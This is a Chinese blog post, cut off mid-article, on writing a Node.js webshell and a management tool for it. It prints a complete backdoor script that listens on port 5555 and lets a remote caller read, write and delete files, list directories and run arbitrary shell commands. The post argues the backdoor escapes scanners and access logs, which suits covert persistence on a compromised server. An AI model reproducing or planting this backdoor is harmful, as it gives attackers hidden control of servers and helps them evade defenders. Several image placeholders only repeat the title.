通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

“webshell” 这个关键字在黑与白的术语中经常出现,它具有操作目标web站点的文件权限,而webshell在web查杀中是脆弱的,管理者可以通过web日志进行溯源,从而查杀webshell。在web杀软中,webshell脚本不够健壮会直接被BAN掉。

“如何绕过XX狗”,“如何才能更加隐蔽”,“webshell流量加密”等问题也在安全圈中也是老生常谈的问题。而一句话木马慢慢流行起来,它非常简短,只需要中国菜刀等管理webshell的工具进行配合即可管理服务器文件。

那么本篇文章给大家介绍一种新的web应用后门,它是“nodeJS”,我们从简单了解nodeJs到nodeJs版中国菜刀脚本编写。

0x01 nodeJS的简单概述

NodeJS是一种后端语言,由C++编写而成,它的语法结构遵循了前端JavaScript语法。

nodeJs不需要web容器,nodeJs自己就是web容器。

我们看下面例子:

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

可能这张图片理解起来不是太清楚,那么我们简单编写一段处理GET请求的代码。

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

我们使用最喜欢的BurpSuite工具来进行测试

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

Post请求案例:

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

可以简单的了解到,nodeJS没有web容器。我们从刚刚的代码中所了解到,nodeJS的一系列操作都是使用require()来进行引包,随后在引进来的资源上进行操作。同时nodeJS是没有像PHP/ASP语言中的 <?php/<% 文件头的,上来直接编写nodeJS语句即可。

0x02 nodeJS后门了解

因为没有语言标识符(PHP中的<?php),所以它很难被传统的WEB查杀工具所扫描到,笔者使用”D盾”来进行测试笔者编写的nodeJS小马。

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

这个小马如何使用,笔者就不分享了,它利用起来不方便先不说,其次下面有一种姿势来代替它。

小马脚本:

let http = require('http');

let url = require('url');

let fs = require('fs');

let cmd = require('child_process');

let moduleName = ['readfile','writefile','cmd','readdir','unlink'];

let server = http.createServer((request, response)=>{

let urlObj = url.parse(request.url,true).query;

if(!urlObj.type || !moduleName.includes(urlObj.type)){

response.writeHead(404, {'Content-Type':'text/html;'});

}else{

response.writeHead(200, {'Content-Type':'text/css;'});

}

var result = '';

if(!urlObj.path){

urlObj.path = './';

}

switch(urlObj.type){

case 'readfile':

try {

result = fs.readFileSync(urlObj.path).toString();

}catch(e){

result = '请检查path参数,文件读取失败!';

}

break;

case 'unlink':

try {

fs.unlinkSync(urlObj.path);

result = '文件删除成功';

}catch(e){

result = 'unlink模块需要path参数,文件删除失败';

}

break;

case 'writefile':

if(urlObj.value){

try {

fs.writeFileSync(urlObj.path, urlObj.value);

result = '文件写入成功~';

}catch(e){

result = '文件写入失败';

}

}else{

result = 'writefile模块需要传递path(写入路径)与value(写入内容)参数~';

}

break;

case 'readdir':

try{

let fileArr = fs.readdirSync(urlObj.path);

let tmpStr = '';

let Dirs = [];

let Files = [];

for(let i in fileArr){

try{

flag = fs.lstatSync(urlObj.path + '\\' + fileArr[i]).isFile();

if(flag){

Files.push(fileArr[i]);

}else{

Dirs.push(fileArr[i]);

}

}catch(e){}

}

tmpStr += `\r\n\r\n\r\n-----------↓↓↓目录↓↓↓-----------\r\n`;

for(let i in Dirs){

tmpStr += Dirs[i] + "\r\n";

}

tmpStr += `\r\n\r\n\r\n-----------↓↓↓文件↓↓↓-----------\r\n`;

for(let i in Files){

tmpStr += Files[i] + "\r\n";

}

result = `当前执行程序的路径${process.cwd()}\r\n代码存放的位置${__dirname}\r\nnodeJs文件路径${process.execPath}\r\n${tmpStr}`;

}catch(e){

result = '读取目录失败';

}

break;

case 'cmd':

if(urlObj.cmd){

try{

result = cmd.execSync(urlObj.cmd);

}catch(e){

result = 'cmd命令错误';

}

}else{

result = 'cmd模块需要传递cmd参数~';

}

break;

}

response.write(result);

response.end();

});

server.listen(5555);

这里笔者推荐使用nodeJsWebshell。

第一点:因为没有语言标识符,D盾根本无法识别出该文件是后门。

第二点:在运维人士中,了解nodeJS的也不是太多。但是放在前端人员身上,nodeJS是学习路线中必学的。但前端管理范围大家都懂。

第三点:由于nodeJS服务本来就属于安全的WEB服务,这一点杀软会原谅nodeJS。

第四点:因为nodeJS自己就是自己的WEB容器,所以nodeJS并没有积极地去提供nodeJS WEB访问日志。(但nodeJS日志是可以通过代码层来实现)

缺点就是它只适合进行后期的权限维持,如刚才笔者必须运行node XXXX.js才可以开启nodeJS服务。

通过这一系列因素,笔者有了一种打造nodeJS中国菜刀的念头。

0x03 编写菜刀思路

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/30610d44511749eebc9d17a5fc5740ec.html